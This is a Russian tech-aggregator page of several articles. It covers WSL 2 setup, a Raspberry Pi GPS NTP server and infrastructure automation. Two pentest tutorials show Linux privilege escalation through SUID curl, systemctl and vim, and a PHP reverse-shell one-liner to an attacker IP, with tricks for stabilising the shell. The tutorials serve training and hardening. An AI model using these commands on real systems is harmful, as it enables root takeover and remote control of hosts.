Русский
Русский
English
Статистика
Реклама

Linux

Перевод О смерти двойной загрузки и о единстве Windows и Linux

24.06.2020 14:16:49 | Автор: admin
Раньше моей рабочей машиной был ноутбук, созданный Apple. Я мог делать на нём практически всё что угодно: разрабатывать программы, писать тексты, сочинять музыку, да и много чего ещё. Но мне не давали покоя мысли о том, что я привязан к экосистеме Apple, о том, что я зависим от прихотей этой компании. Поэтому я приступил к поискам чего-то нового.

Я начал собирать рабочую станцию под задачи машинного обучения. Поставил в неё, кроме прочего, отличный процессор, много памяти, достойную видеокарту. Практически все мои задачи я решал в Ubuntu. Правда, для работы с текстами мне нужен был Microsoft Office. Онлайновый Office тогда ещё не появился, и, давайте называть вещи своими именами, LibreOffice это просто ужас какой-то. Для меня решением стала двойная загрузка в конфигурации Ubuntu Windows 10. Мне невероятно понравилось то ощущение свободы, которое испытываешь, переходя с ОС от Apple на Ubuntu. А возможности, которые открываются перед тем, кто сам собирает свой компьютер, практически бесконечны.



Двойная загрузка в течение долгого времени полностью меня устраивала. А когда я миллион раз ей воспользовался, появилась технология WSL (Windows Subsystem for Linux, подсистема Windows для Linux). Когда это случилось, я начал решать некоторые свои Linux-задачи в Windows. Правда, даже так, многого для полноценной работы мне ещё не хватало. Но теперь, с выходом WSL 2, у меня возникает такое ощущение, что новая версия WSL способна кардинальным образом изменить ситуацию. Сегодня я предлагаю поговорить о том, как, с помощью WSL 2, перенести задачи по разработке программ из Linux в Windows 10. Я расскажу о новых возможностях WSL 2, и о том, что можно ожидать от этой подсистемы в будущем.

Обзор WSL 2


WSL 2 это новая версия подсистемы Windows для Linux. В этой версии имеются некоторые изменения, определяющие то, как Linux-дистрибутивы взаимодействуют с Windows.


Microsoft любит Linux

В этом релизе WSL в распоряжении пользователя оказывается улучшенная производительность файловой системы и полная совместимость с системными вызовами. Конечно, у нас есть возможность запускать Linux либо на WSL 1, либо на WSL 2, и, более того, переключаться между разными версиями WSL можно в любое время. WSL 2 это результат серьёзного усовершенствования базовой архитектуры системы, её новые возможности основаны на технологии виртуализации и на функционале ядра Linux. При этом Microsoft берёт на себя заботу о мелких деталях, поэтому пользователь WSL может просто заниматься своими делами, ни на что не отвлекаясь.

Установка


Microsoft обещает, что в ближайшем будущем установка WSL 2 будет выполняться очень просто, и что Linux можно будет обновлять с использованием механизма обновлений Windows. Пока же процесс установки WSL 2 требует некоторых усилий, но, на самом деле, ничего страшного тут нет.

В этом примере мы установим на Windows 10 Ubuntu 20.04. Надо отметить, что процесс установки будет одним и тем же для всех дистрибутивов Linux, доступных в Microsoft Store. Для начала нужно включить компонент Windows Subsystem for Linux. Для этого надо открыть PowerShell от имени администратора и выполнить следующую команду:

dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart

Далее, нужно обновить WSL до WSL 2. Для этого Windows 10 должна быть обновлена до версии 2004. В BIOS должна быть включена технология виртуализации Intel. Снова воспользуемся PowerShell с административными привилегиями и выполним такую команду:

dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

Для завершения установки WSL и обновления до WSL 2 перезагрузите компьютер. Затем нужно установить WSL 2 в качестве версии WSL, используемой по умолчанию при установке новых дистрибутивов Linux. Для этого, всё так же, пользуясь PowerShell с правами администратора, выполним эту команду:

wsl --set-default-version 2

После того, как вы выполните эту команду, может появиться такое сообщение:

WSL 2 requires an update to its kernel component. For information please visit https://aka.ms/wsl2kernel


Сообщение, выдаваемое при попытке установки WSL 2 как подсистемы Windows для Linux, используемой по умолчанию

Перейдите по указанной ссылке и установите соответствующий MSI-файл, благодаря которому на вашу машину будет установлено ядро Linux для WSL 2. После того, как ядро будет установлено, выполните вышеприведённую команду снова. Теперь она должна завершиться успешно, не выдавая подобного сообщения.

Теперь осталось лишь установить нужный дистрибутив Linux. Для этого надо открыть Microsoft Store и поискать там Ubuntu 20.04 LTS. После установки дистрибутива в меню Пуск должен появиться ярлык для запуска Ubuntu. Запустите систему и следуйте инструкциям для завершения установки (в целом, завершение установки заключается в создании нового пользователя).

Для того чтобы проверить, действительно ли дистрибутив установлен на WSL 2, выполните такую команду:

wsl --list --verbose

Если оказалось, что используется WSL 1, то переключиться на WSL 2 можно, воспользовавшись командой такого вида:

wsl --set-version <distribution name> <versionNumber>

Вот и всё. Теперь в вашем распоряжении имеется полноценный дистрибутив Ubuntu, работающий в Windows 10.

Настройка рабочей среды для программиста


Теперь, когда в вашем распоряжении оказалась рабочая Ubuntu, вы можете устанавливать всё, что вам может понадобиться. Например, если вы дата-сайентист, вы можете установить самый свежий дистрибутив Anaconda. Если вы фронтенд-разработчик, то вас, например, могут заинтересовать Angular, npm и многое другое. Здесь же мне хотелось бы сосредоточиться на двух инструментах. Это Visual Studio Code и связка Docker + Kubernetes.

Visual Studio Code


VS Code это редактор кода, которому отдаёт предпочтение множество разработчиков. Одна из сильных сторон этого редактора заключается в поддержке бесконечного множества расширений. А теперь, когда мы включили WSL 2, совершенно необходимым расширением для VS Code можно назвать Remote Development.

Это расширение позволяет удалённо работать над кодом, который имеется в среде, создаваемой средствами WSL 2, в контейнере, или даже на удалённой виртуальной машине, доступ к которой осуществляется по SSH. Данное расширение позволяет, например, создать проект в ОС Linux, работающей в WSL 2, и использовать для работы над этим проектом редактор VS Code, установленный в Windows 10.

Собственно говоря, VS Code отличается огромными возможностями. Это и интеллектуальная система IntelliSense, и интеграция с git, и отладчик, и терминал, и очень много чего ещё. Полагаю, с настройкой VS Code вы справитесь и очень скоро сможете сделать из этого редактора именно то, что нужно вам.

Docker + Kubernetes


Docker для Widnows сделан на хорошо, но не на отлично. На самом деле, именно Docker заставлял меня постоянно прыгать между Windows и Ubuntu. Например, мне приходилось делать это тогда, когда нужно было создать новый образ Docker. А вот WSL 2 отличается полной поддержкой Docker. Это, полагаю, такая возможность новой подсистемы, которая делает работу с Docker даже удобнее, чем в Linux.

Для того чтобы включить эту возможность, нужно перейти в настройки Docker Desktop и включить опцию Use the WSL 2 based engine.


Включение поддержки Docker для WSL 2

Более того, перейдя в раздел настроек Kubernetes, можно включить возможность запуска локального кластера Kubernetes, просто установив соответствующий флажок.


Включение Kubernetes

Теперь можно перезапустить Ubuntu в WSL 2 и выполнить следующие команды:

docker versionkubectl version

Результаты выполнения подобных команд покажут, что в вашем распоряжении теперь есть Docker и Kubernetes.


Docker и Kubernetes работают в среде WSL 2

Бонус: новый терминал Windows


В качестве дополнительной полезной программы вы можете установить из Microsoft Store новый терминал Windows. В описании к нему сказано, что перед нами новое современное приложение быстрое, эффективное и мощное. Оно предназначено для пользователей, работающих с инструментами командной строки и с соответствующими средами, наподобие PowerShell. Среди его главных возможностей можно отметить следующие: поддержка вкладок и панелей, поддержка Unicode и UTF-8, ускорение вывода текста средствами GPU, поддержка пользовательских тем, стилей и настроек.

Вот видео про новый терминал Windows.

Более того, новый терминал очень хорошо выглядит, а его внешний вид поддаётся настройке. Настройки можно выполнять, пользуясь особым JSON-файлом. Здесь можно найти темы для терминала. Вот материал, в котором можно почитать подробности о терминале.

Планы развития WSL


В WSL 2 ещё недостаёт некоторых возможностей, но подсистема Windows для Linux развивается в правильном направлении. В ближайшее время установить WSL можно будет с помощью одной команды. Для этого достаточно будет открыть терминал Windows и выполнить в нём следующее:

wsl.exe --install

Кроме того, WSL 2 будет той версией подсистемы, которая, при первой установке WSL, устанавливается по умолчанию.

Надо отметить, что разработчики очень ждут от WSL следующих возможностей: поддержка видеокарт и поддержка приложений с графическим интерфейсом.

С момента выхода WSL 1 команду разработчиков этой подсистемы чаще всего просили о внедрении в WSL поддержки CUDA или GPU Compute. В последний код команды разработчиков WSL, систем виртуализации, DirectX, Windows Driver работают над этой возможностью. Поэтому следите за новостями.


Обучение модели, использующей технологии глубокого обучения, в WSL 2 (с использованием CUDA)

Более того, на подходе и поддержка графических приложений для Linux. Например, в Linux-системах, установленных на WSL, можно будет пользоваться текстовыми редакторами или IDE. На Windows-машине можно будет даже разрабатывать GUI-приложения для Linux!


Поддержка графического интерфейса Linux в WSL 2

Итоги


Сегодня мы поговорили о том, как, пользуясь WSL 2 можно превратить Windows-компьютер в рабочую станцию программиста, пользующегося Linux. В распоряжении такого программиста оказывается высокая производительность и множество полезных возможностей, набор которых, со временем, пополнится. Поэтому я и могу говорить о том, что двойная загрузка умерла.

А вы пользуетесь WSL 2?



Подробнее..

Сверхточный Raspberry PI Stratum 1 NTP сервер

07.07.2020 12:09:02 | Автор: admin
В этой статье я расскажу, как собрать Stratum 1 NTP сервер на Raspberry PI для синхронизации времени за скромную сумму и навсегда забыть о проблемах, связанных с не совпадающим временем на всех ваших устройствах. А самое главное, он будет давать результат на два порядка точнее, чем обычный сервер.

В предыдущей статье, посвященной синхронизации времени по радио и СРНС (системы радионавигационной связи), я не успел рассказать про выбор приёмника GPS / ГЛОНАСС с выходом PPS. Между тем от этого зависит точность приёма сигнала, величина может составить от одной миллисекунды до нескольких микросекунд и зачастую это имеет решающее значение.

Для самого точного приема сигнала времени нужен приёмник GPS / ГЛОНАСС с выходом PPS. Дело однако в том, что на российском рынке не просто раздобыть устройство с такими характеристиками по доступной цене. Много таких моделей давно уже перестали выпускать, а в заброшенных интернет магазинах с версткой 1990-х остались лишь их описания с предложением подписаться на уведомление при поступлении товара.


Полный список протестированного GPS оборудования можно найти на GitLab ресурсе NTPSec. Не трудно заметить, что незначительное число представленных в списке устройств имеют отметку 3-4 звезды и опцию PPS. Таким образом, в шорт-лист попадают следующие приёмники.

  • Garmin GPS-18, не USB *** (приблизительная цена 10 тыс. р.)
  • GlobalSat MR-350P ****
  • Jackson Labs FireFly-II ***
  • Magellan Thales AC12 ***
  • Motorola Oncore GT+ ***
  • Navisys GR601-W ****
  • SkyTraq SKG16B ****
  • Trimble Lassen IQ ***
  • u-blox ANTARIS LEA-4T ***
  • u-blox EVK 6H ****
  • u-blox LEA SQ ****

4* Отличная производительность: gpsd распознает приёмник быстро и надежно, а отчеты сформировано полностью и правильно.

3* Хорошая производительность: gpsd с незначительными проблемами или задержкой распознаёт устройства, но отчеты сформировано полностью и правильно.

Если вас не пугает цена этих моделей, а также нет большого желания возиться с железками, можете не читать дальше. Приемник, подключенный к серверу по USB, или RS232 интерфейсу обеспечит гораздо большую точность определения времени, чем NTP сервер, работающий по tcp/ip. Но если путь самурая вам не чужд, тогда давайте собирать свой Raspberry PI NTP сервер с GPS синхронизацией времени.

Собираем Raspberry PI


Итак: берем следующие компоненты для нашего микро сервера.

  1. Плата Raspberry Pi 4 Model B, 4 GiB ОЗУ (6200 руб.);
  2. Корпус, например такой (890 руб.);
  3. Micro SD карта на 32 GiB, можно и 16 GiB; (540 руб.)
  4. GPS модуль на чипе u-blox NEO-M8 (1700 руб. с антенной);
  5. GPS антенна на 15 dB;
  6. Паяльник.

Вообще-то, u-blox NEO-M8 оснащен UART интерфейсом, но для PPS выхода необходимо припаять pin-3 на GPS модуле к соответствующему GPIO коннектору на плате Raspberri Pi. Модуль швейцарской компании завоевал популярность у специалистов и это не случайно, характеристики говорят сами за себя.

  • Поддерживаемые СРНС: BeiDou, Galileo, GNSS; GPS/QZSS, GLONASS;
  • Напряжение питания: 2.7...3.6 В;
  • Интерфейсы: UART, USB, SPI, DDC, I2C;
  • Поддерживаемые протоколы: NMEA 0.183 version 4.0, UBX (binary), RTCM 2.3;
  • Чувствительность при обнаружении: -167 дБм;
  • Чувствительность при слежении: -160 дБм;
  • Время холодного старта: 26 с;
  • Время горячего старта: 1.5 с;
  • Потребляемая мощность: 35 мВт;
  • Рабочая температура: -40...+85 С;
  • Размеры: 16х12.2х2.4 мм

В такой конфигурации с новейшим оборудованием примерная общая цена Raspberry PI в собранном виде составит 9330 руб. Можно сэкономить, купив Raspberry PI 3, или четверку с 2 GiB ОЗУ. Можно еще сэкономить на GPS чипе, u-blox NEO-6M с антенной стоит около 650 руб. Тогда цена NTP сервера упадет до 5500 руб.


GPS/Глонасс модуль UBLOX NEO 8M

Может возникнуть вопрос, для чего нужны все эти капиталовложения и какую точность обеспечивает тот, или иной способ синхронизации времени. Небольшая сводная табличка для справки.
Источник сигнала времени Погрешность
GPS с атомными часами 50 nSec
KPPS 1 Sec
PPS 5 Sec
Интерфейс USB 1.1 1 mSec
Интерфейс USB 2.0 100 Sec (100000 nSec)
NTP по сети ~30 mSec

Kernel PPS (KPPS) отличается от PPS тем, что использует функцию ядра Linux / Unix для точной временной отметки изменения состояния в строке PPS. Обычный же PPS реализован в user-space. Если ядро Linux поддерживает KPPS через API RFC 2783, gpsd воспользуется им для увеличения точности.

Во многих дистрибутивах Linux имеется пакет pps-tools, который обеспечивает поддержку KPPS и устанавливает timepps.h заголовочный файл. Обязательно установите этот пакет.

(1:1146)$ sudo emerge -av pps-toolsLocal copy of remote index is up-to-date and will be used.These are the packages that would be merged, in order:Calculating dependencies... done![binary   R    ] net-misc/pps-tools-0.0.20120407::gentoo  0 KiBTotal: 1 package (1 reinstall, 1 binary), Size of downloads: 0 KiBWould you like to merge these packages? [Yes/No] 

Таким образом, подключив GPS приёмник с PPS выходом по USB мы получаем 300-кратное повышение точности синхронизации времени. Чтение с чипа GPS на плате в режиме KPPS даёт прирост точности еще на два порядка.

Будем откровенны не все из нас умеют пользоваться паяльником, далеко не каждый пользуется этим инструментом регулярно. В таком случае имеет смысл поискать модуль GPS, не требующий пайки контактов.


Raspberry Pi GPS/RTC Expansion Board

Таких плат мало, и стоят они дорого. Разницу в цене вполне окупит приобретение паяльника и трудозатраты.

Установка ОС


Существует Raspberry PI OS, а. k. a. Raspbian, можно просто пойти по ссылке, скачать свежую версию и установить её. Многие так и делают, но давайте вспомним, что Raspberry PI 4 поддерживает 64-битную операционную систему, в то время как Raspberry PI OS пока имеет лишь 32-битные модификации Debian Linux для архитектуры Arm.

Существует такая точка зрения, что на 64-битная ОС неоправдана на Raspberry PI 4, так как нет возможности обеспечить прирост производительности из-за особенностей архитектуры и сборки. Мне эта точка зрения представляется сомнительной, об этом уже писали на Хабре 64-битная ОС быстрее.

Существует порт Debian Linux для архитектуры arm64, однако дистрибутив Убунту для Raspberry PI имеет внятную страницу и инструкцию. На странице находим дополнительное подтверждение тому, что лучше выбрать 64-битную ОС.



Инвентарь для установки:

  • Raspberry Pi 4;
  • USB-C кабель питания для Pi 4;
  • Micro SD карта с установочным образом Убунту;
  • Монитор с выходом HDMI;
  • Кабель MicroHDMI;
  • USB клавиатура.

Следующий этап запись установочного образа на Micro SD карту. Если у вас под рукой нет специализированной утилиты и программы под эти цели, в простейшем случае достаточно.

sudo dd if=/path/to/ubuntu-core-arm64.iso of=/dev/mmcblk0 status=progress

Точное название устройства видно в выводе dmesg при обнаружении нового устройства.

PM: Adding info for No Bus:179:0device: 'mmcblk0': device_addPM: Adding info for No Bus:mmcblk0

Вставив Micro SD карту, подключив HDMI-монитор, USB-клавиатуру, и кабель питания загружаетесь в Ubuntu Server на Raspberry Pi. Имя пользователя и пароль по умолчанию ubuntu.

Настройка NTP сервера


  1. Если Raspberry PI включен в консольном режиме (headless), то для начала необходимо определить IP адрес устройства. С рабочей станции наберите следующую команду.

    (1:1151)$ arp -na | grep -i "dc:a6:32"
    

    Ели же Pi подключен к HDMI монитору и USB клавиатуре, пропустите шаги 1-2 и переходите сразу к установке пакетов.
  2. Подключитесь по ssh

    (1:1152)$ ssh ubuntu@<Raspberry Pis IP address>
    
  3. Установите необходимые пакеты.

    user@server ~$ sudo apt-get install aptitudeuser@server ~$ sudo aptitude install wpasupplicant gpsd chrony
    
  4. Настройте Wi-Fi соединение с помощью wpasupplicant.
  5. В Linux UART0 интерфейс Pi представлен файлом устройства /dev/ttyAMA0. Для того чтобы освободить UART0 интерфейс для GPS приёмника нужно поменять параметры загрузки ядра Linux. Необходимо отключить console=ttyAMA0,115200, заменив на console=tty1. Для этого в файле /etc/default/grub надо поменять GRUB_CMDLINE_LINUX_DEFAULT. Если существует файл, /boot/config.txt, в нем также можно задать те же опции.

    Raspberry Pi 4 имеет 6 UART-ов
    Название Тип Устройство Назначение
    UART0 PLO11 /dev/ttyAMA0 вторичный (Bluetooth)
    UART1 mini UART /dev/ttyS0 основной
    UART2 PLO11
    UART3 PLO11
    UART4 PLO11
    UART4 PLO11
    По умолчанию UART2-5 выключены.

    Как видно из названия, UART0 полноценный серийный порт и он имеет более высокую производительность, чем обрезанный UART1, он же mini UART. Поэтому будет не лишним перевести Bluetooth на UART1 с тем, чтобы основной поток данных шел через UART0. Для этого в /etc/default/grub, или /boot/config.txt ставим enable_uart=1.
  6. В файле /etc/defaults/gpsd следует выставить.

    DEVICES="/dev/ttyAMA0 /dev/pps0"GPSD_OPTIONS="-n"USBAUTO="false"
    
  7. Запустите, или перезапустите gpsd.

    user@server ~$ sudo /etc/init.d/gpsd startuser@server ~$ sudo /etc/init.d/gpsd restart
    
  8. Проверка работы модуля GPS.

    user@server ~$ cat /dev/ttyAMA0user@server ~$ cgps -suser@server ~$ ppstest /dev/pps0
    
  9. Отредактируем файл /etc/ntp.conf.

    Все строки, содержащие сетевые публичные Stratum 1, 2 NTP сервера (такие, как pool [0-9].subdomain.pool.ntp.org) следует закомментировать, чтобы использовать лишь GPS/PPS источники данных.

    # GPS Serial data reference (NTP0)server 127.127.28.0 minpoll 4fudge 127.127.28.0 flag1 1 time1 0.9999 refid GPS #flag1 - PPS on
    

    # GPS PPS reference (NTP1)server 127.127.22.0 minpoll 4fudge 127.127.22.0 flag3 1 refid PPS #flag3 - enable KPPS API
    

    Верхняя запись NTP0 указывает на универсальный источник времени, доступный почти на всех устройствах GPS. Нижняя запись NTP1 определяет гораздо более точный PPS источник.
  10. Перезапустите ntpd

    user@server ~$ sudo /etc/init.d/ntpd restart
    

Использованные материалы



Подробнее..

Я есть root. Повышение привилегий в ОС Linux через SUIDSGID

16.06.2020 12:17:10 | Автор: admin
В прошлом посте я провел обзорную экскурсию по методам повышения привилегий в ОС Linux. Сегодня разбираю вектор повышения привилегий через небезопасные разрешения SUID/SGID. Поэтому больше консоли и меньше слов.

main

Что такое SUID?


Бит смены владельца или SUID (Set User ID) это разрешение файловой системы Linux, которое позволяет запустить исполняемый файл от имени его владельца. Он нужен, потому что многие действия в Linux (например, открытие сырого сетевого сокета) требуют прав суперпользователя. Хорошо знакомая всем команда ping использует сетевые сокеты и поэтому должна быть запущена от rootа. Каким образом можно позволить обычному пользователю применять команду ping? Можно выдать пользователю sudo на необходимые команды. Но представьте, что на условной Linux-машине имеется 100 пользователей и насчитывается около 20 привилегированных команд. А как потом управлять разрешениями sudo на все это богатство? Не самое элегантное решение, не правда ли? С другой стороны, бит смены владельца значительно упрощает процесс. Бит смены владельца сообщит системе, что все 100 пользователей системы запускают команду ping от имени root.

Итак, мы с вами поняли, что представляет собой SUID, но также это понимают и хакеры. В большинстве случаев повышение привилегий через исполняемый файл с SUID возможно, если:

  • исполняемый файл позволяет взаимодействовать с файловой системой;
  • исполняемый файл так или иначе имеет возможность выхода в командную строку.

Пример с curl


Разберемся по порядку. Допустим, я обнаружил, что исполняемому файлу curl выставлен бит смены владельца, мы можем это понять по букве s в разрешениях файла.

выставление SUID для curl
Выставление SUID для curl

Выставленный SUID позволяет скачивать файл от имени rootа. Поскольку файл скачивает root, то он же является и владельцем файла.

image
Загрузка файла через curl с SUID

Хорошо, что с этим делать дальше? Попытаюсь заменить какой-нибудь чувствительный файл: /etc/passwd подходит как нельзя лучше. Сначала скопирую существующий файл на хост атакующего.

image
Скачиваю файл командой scp

В полученном файле поменяю ID пользователя и группы для пользователя bob с 1000 на 0 (что соответствует root).

image
Исходные ID пользователя bob

Отредактированный файл скачаю на атакуемый хост с помощью команды curl.

image
Успешное повышение привилегий



Пример с systemctl


Думаю, стало понятнее, однако давайте разберем другой пример: я подобрал пароль пользователя bob и получил доступ по SSH. Осматриваюсь и изучаю окружение в этом случае командой find.
find / -user root -perm -u=s -type f 2>/dev/null


image
Почувствуй разницу: слева вывод linpeas, справа, по сути, тот же вывод, но команда find введена вручную

Нахожу в выводе команды find бинарник /usr/bin/systemctl. Раз у меня есть доступ к systemctl, да еще и в контексте root (ведь я нашел этот бинарник, выполняя поиск файлов, владельцем которых является root и для которых выставлен suid), я могу запустить вредоносный сервис. Особого кун-фу тут не требуется, достаточно создать текстовый файл с описанием сервиса.

Пример файла с описанием сервиса
[Service]Type=oneshotExecStart=/bin/sh -c "id > /tmp/output"[Install]WantedBy=multi-user.target


image
Демонстрация работы сервиса

Мне ничего не мешает изменить сервис, например, написать в него бэк-коннект. Остается только поднять хендлер (обработчик) на хосте атакующего и перезапустить сервис.

image
Успешное повышение привилегий. Наверху хендлер, внизу запуск сервиса

Я привел примеры, в которых бит смены владельца выставлен у пользователя root, но этот вектор также можно использовать для компрометации менее привилегированных пользователей системы. Как видите, бит смены владельца это довольно чувствительная к безопасности вещь, и он может оказаться узким местом харденинга Linux-системы.

Что дальше?
Главное в этом векторе, как и везде в offensive, понимать, как все устроено. Я рекомендую повторить пару примеров, чтобы не только понять, но и осознать полученную информацию. Для практики можно самому поднять стенд и поэкспериментировать, а можно совместить приятное с полезным и поискать write upы hackthebox устаревших машин, где для повышения привилегий использован вектор с SUID. Порешать их, прокачать свой аккаунт, рассказать о нем на собеседовании. Со временем вы поймете, что write upы лишают вас ощущения победы, и когда почувствуете в себе силы, сможете применять накопленный багаж знаний.

Больше конкретных примеров повышения привилегий через SUID можно найти тут, включая разобранный нами.



А что с битом смены группы владения SGID (Set Group ID)?


В целом суть та же, но некоторые трюки будут сложнее, например /etc/passwd таким образом перезаписать не удастся, так как группе root нельзя редактировать файл. Да и сервис перезапустить не получится.

image
Разрешения файла /etc/passwd не позволяют группе root изменение

image
Попытка перезапуска сервиса

Остается вариант с интерактивным шеллом, например через vim. Для этого используйте команду:

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")

Группа root позволяет читать содержимое директории /root, но при этом нельзя даже прочитать содержимое файла id_rsa. Бит смены группы владения SGID дает несравнимо меньшие возможности для повышения привилегий.

image
Содержимое директории /root



Харденинг


Для безопасного харденинга рекомендую исключить наличие бита смены владельца/группы для указанных в перечне исполняемых файлов. При этом нужно учитывать, что за удалением бита смены владельца/группы могут последовать некорректное поведение сервиса и траблшутинг. И уж точно не стоит удалять бит смены владельца у всех исполняемых файлов.



Напоследок


В статье я использовал примеры из лучшего, на мой взгляд, сборника по повышению привилегий gtfobins.

  1. curl
  2. systemctl
  3. vim

Если у вас появится интерес к разбору других кейсов повышения привилегий через SUID/SGID (или нет, не важно), пишите в комментариях или мне в личку. В следующем посте обсудим, как получать стабильный shell. Успешной охоты!
Подробнее..

Я есть root. Получаем стабильный shell

22.06.2020 14:22:01 | Автор: admin
Давайте представим, что мы получили бэк-коннект в результате эксплуатации RCE-уязвимости в условном PHP-приложении. Но едва ли это соединение можно назвать полноценным. Сегодня разберемся в том, как прокачать полученный доступ и сделать его более стабильным.

image

Итак, мы получили initial shell. Кто знает, как это по-русски? Изначальная оболочка или первичный доступ ГОСТа нет, поэтому прошу в комментарии. Так вот, мы не сможем использовать это соединение для успешного pivoting'a, поскольку тот же SSH нам не доступен.

image
Безуспешная попытка использования SSH

Система сообщает нам, что не может справиться с SSH без полноценного терминального shella. Что делать в этом случае? Отправляемся в Google и находим подборки команд, не все из которых нам помогут, например:

/bin/sh -i


image
Попытка создания псевдотерминала через /bin/sh

Что мы можем с этим сделать? Как получить стабильный шелл? Сейчас разберемся.



Зачем нам терминал в нашем соединении?


Давным-давно, во второй половине 20 века, компьютеры были большими, а взаимодействие пользователей с ними происходило посредством физических устройств, называемых телепринтерами и телетайпами. Об истории терминалов можно почитать тут, а нам важно понимать, что сейчас Linux все так же считает себя мейнфреймом, а общение с системой происходит по виртуальным терминалам.

Часто во время тестирования на проникновение мы получаем оболочку, в которой нет виртуального терминала. Большинство привычных нам бэк-коннектов представляют собой не что иное, как открытие сетевого сокета и перенаправление потоков ввода/вывода в данный сокет. При этом на хосте атакующего отсутствует такая сущность, как терминал (tty). Отсутствие терминала в соединении не дает системе корректно работать с вводом/выводом, поскольку не весь вывод можно корректно вывести через сетевой сокет на хост атакующего. Тот же пример с SSH: запрос на доверие сертификату приходит в терминал атакуемого хоста, но не доходит по сокету на хост атакующего. Команда ниже использована для имитации эксплуатации RCE-уязвимости.

php -r '$sock=fsockopen("172.16.236.128",443);exec("/bin/sh -i <&3 >&3 2>&3");'


image
Попытка воспользоваться SSH через nc-соединение

image
Запрос на доверие сертификату выводится на атакуемом хосте

image
На стороне атакующего терминала пока нет

Прокачиваем наш изначальный шелл


Мы можем использовать Python, чтобы выйти в bash, при этом получив в свое распоряжение терминал. Команда tty показывает адрес текущего терминала.

python3 -c 'import pty;pty.spawn("/bin/bash")'


image
Создание виртуального терминала в Python

На этом этапе нам уже доступен некий интерактив в виде возможности дать ответ на запросы системы из серии доверяйте данному ключу SSH или введите пароль, чтобы воспользоваться sudo.
Это уже что-то, однако у нас все еще нет возможности воспользоваться нашим любимым сочетанием клавиш ctrl+c (пентестерский софт ведь никогда не отличался хорошей стабильностью). Чтобы получить более стабильную версию shella и не пересоздавать соединение по 10 раз, рекомендую использовать следующий прием.

nc -nlvp 443#ctrl + zstty raw -echo && fg


Команда stty устанавливает свойства терминальной линии. Этот инструмент позволит нам сообщить терминалу на стороне атакующего, что наш ввод нужно просто направлять в stdin без обработки. Таким образом, мы больше не убьём сессию, если машинально нажмем ctrl+c.

image
Получение стабильного shell'a с помощью настройки свойств терминала

Бывает, что в системе просто не установлен Python. Что же делать в этом случае? Можно воспользоваться утилитой script, например, в CentOS она доступна по умолчанию.

/usr/bin/script -qc /bin/bash /dev/null


image
Создание виртуального терминала в script

Думаю, этого достаточно для понимания процесса создания стабильных и удобных соединений.



Харденинг


По поводу безопасного харденинга заморачиваться сильно смысла не имеет, поскольку вы уже проморгали RCE в системе. В принципе, успешное поднятие привилегий возможно и без описанных сегодня методов.
Подробнее..

Recovery mode От стартапа до тысяч серверов в десятке ЦОД. Как мы гнались за ростом Linux инфраструктуры

03.07.2020 20:16:17 | Автор: admin
Если ваша IT инфраструктура растёт слишком быстро, вы рано или поздно столкнётесь с выбором линейно увеличивать людские ресурсы на её поддержку или начинать автоматизацию. До какого-то момента мы жили в первой парадигме, а потом начался долгий путь к Infrastructure-as-Code.



Разумеется, НСПК не стартап, но такая атмосфера царила в компании в первые годы существования, и это были очень интересные годы. Меня зовут Корняков Дмитрий, более 10 лет я поддерживаю инфраструктуру Linux с высокими требованиями доступности. К команде НСПК присоединился в январе 2016 года и, к сожалению, не застал самого начала существования компании, но пришел на этапе больших изменений.

В целом, можно сказать, что наша команда поставляет для компании 2 продукта. Первый это инфраструктура. Почта должна ходить, DNS работать, а контроллеры домена пускать вас на сервера, которые не должны падать. IT ландшафт компании огромен! Это business&mission critical системы, требования по доступности некоторых 99,999. Второй продукт сами сервера, физические и виртуальные. За существующими нужно следить, а новые регулярно поставлять заказчикам из множества подразделений. В этой статье я хочу сделать акцент на том, как мы развивали инфраструктуру, которая отвечает за жизненный цикл серверов.

Начало пути

В начале пути наш стек технологий выглядел так:
ОС CentOS 7
Контроллеры домена FreeIPA
Автоматизация Ansible(+Tower), Cobbler


Всё это располагалось в 3х доменах, размазанных на нескольких ЦОДах. В одном ЦОД офисные системы и тестовые полигоны, в остальных ПРОД.

Создание серверов в какой-то момент выглядело так:



В шаблоне VM CentOS minimal и необходимый минимум вроде корректного /etc/resolv.conf, остальное приезжает через Ansible.

CMDB Excel.

Если сервер физический, то вместо копирования виртуальной машины на него устанавливалась ОС с помощью Cobbler в конфиг Cobbler добавляются MAC адреса целевого сервера, сервер по DHCP получает IP адрес, а дальше наливается ОС.

Поначалу мы даже пытались делать какой-то configuration management в Cobbler. Но со временем это стало приносить проблемы с переносимостью конфигураций как в другие ЦОД, так и в Ansible код для подготовки VM.

Ansible в то время многие из нас воспринимали как удобное расширение Bash и не скупились на конструкции с использованием shell, sed. В общем Bashsible. Это в итоге приводило к тому, что, если плейбук по какой-либо причине не отрабатывал на сервере, проще было удалить сервер, поправить плейбук и прокатить заново. Никакого версионирования скриптов по сути не было, переносимости конфигураций тоже.

Например, мы захотели изменить какой-то конфиг на всех серверах:

  1. Изменяем конфигурацию на существующих серверах в логическом сегменте/ЦОД. Иногда не за один день требования к доступности и закон больших чисел не позволяет применять все изменения разом. А некоторые изменения потенциально деструктивны и требуют перезапуск чего-либо от служб до самой ОС.
  2. Исправляем в Ansible
  3. Исправляем в Cobbler
  4. Повторяем N раз для каждого логического сегмента/ЦОД

Для того, чтобы все изменения проходили гладко, необходимо было учитывать множество факторов, а изменения происходят постоянно.

  • Рефакторинг ansible кода, конфигурационных файлов
  • Изменение внутренних best practice
  • Изменения по итогам разбора инцидентов/аварий
  • Изменение стандартов безопасности, как внутренних, так и внешних. Например, PCI DSS каждый год дополняется новыми требованиями

Рост инфраструктуры и начало пути

Количество серверов/логических доменов/ЦОД росло, а с ними количество ошибок в конфигурациях. В какой-то момент мы пришли к трём направлениям, в сторону которых нужно развивать configuration management:

  1. Автоматизация. Насколько возможно, нужно избегать человеческого фактора в повторяющихся операциях.
  2. Повторяемость. Управлять инфраструктурой намного проще, когда она предсказуема. Конфигурация серверов и инструментов для их подготовки должна быть везде одинаковой. Это так же важно для продуктовых команд приложение должно гарантированно после тестирования попадать в продуктивную среду, настроенную аналогично тестовой.
  3. Простота и прозрачность внесения изменений в configuration management.

Осталось добавить пару инструментов.

В качестве хранилища кода мы выбрали GitLab CE, не в последнюю очередь за наличие встроенных модулей CI/CD.

Хранилище секретов Hashicorp Vault, в т.ч. за прекрасное API.

